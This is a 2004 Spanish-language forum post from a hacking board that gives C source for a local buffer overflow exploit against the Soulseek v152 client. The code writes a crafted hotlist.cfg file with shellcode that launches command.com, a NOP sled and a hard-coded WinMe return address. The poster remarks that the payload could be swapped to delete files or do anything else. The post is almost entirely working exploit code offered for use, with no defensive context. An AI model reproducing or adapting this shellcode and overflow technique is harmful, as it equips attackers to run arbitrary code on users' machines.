elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 11:45  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  exploit para Soulseek v152.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: exploit para Soulseek v152.  (Leído 655 veces)
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
exploit para Soulseek v152.
« en: 26 Octubre 2004, 10:03 »

Ya hace tiempo que hable con algunos miembros del foro sobre este fallo y aqui esta el codigo. no es nada peligroso ya que no es remoto pero para pasar el rato no esta mal. el programa crea un archivo que hay que poner el directorio de soulseek,poniendo en lista de amigos un usuario. al intentar mandarle un mensaje a ese usuario  soulseek entra en un bucle infinito ejecutando command.com en cada vuelta. se podria poner que borrase archivos o lo que se quiera pq espacio hay. esta probado en WinMe y funciona correctamente.

Código:
#include <stdio.h>

#define archivo "hotlist.cfg"
#define NOP 0x90

int main() {
  FILE *f;
                               
  char s[533]= "\x01\x00\x00\x00\x0C\x02\x00\x00\x4D"
               "\x69\x72\x61\x20\x6D\x69\x73\x20\x61"
               "\x72\x63\x68\x69\x76\x6F\x73"
               "\x090\x090\x090\x090"; //cabecera + usuario
                                   
  char ExecCommand[]= "\xEB\x10\x59\x33\xC0\x88\x41\x0B\xB8\xF4"
                      "\x13\xF9\xBF\x6A\x01\x51\xFF\xD0\xE8\xEB"
                      "\xFF\xFF\xFF\x63\x6F\x6D\x6D\x61\x6E\x64"
                      "\x2E\x63\x6F\x6D";
                     
  char eip[]= "\x5B\xE1\x8D\x00"; //WinMe
 
  memcpy(&s[29],ExecCommand,sizeof(ExecCommand));
  memset(&s[63],NOP,466);
  memcpy(&s[528],eip,sizeof(eip));
  f=fopen(archivo,"wb");
  if (f==NULL) {
  printf("No se pudo crear el archivo\n");
  exit(0);
  }
  fwrite(s,1,sizeof(s)-1,f);
  fclose(f);       
  return 0;
}
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines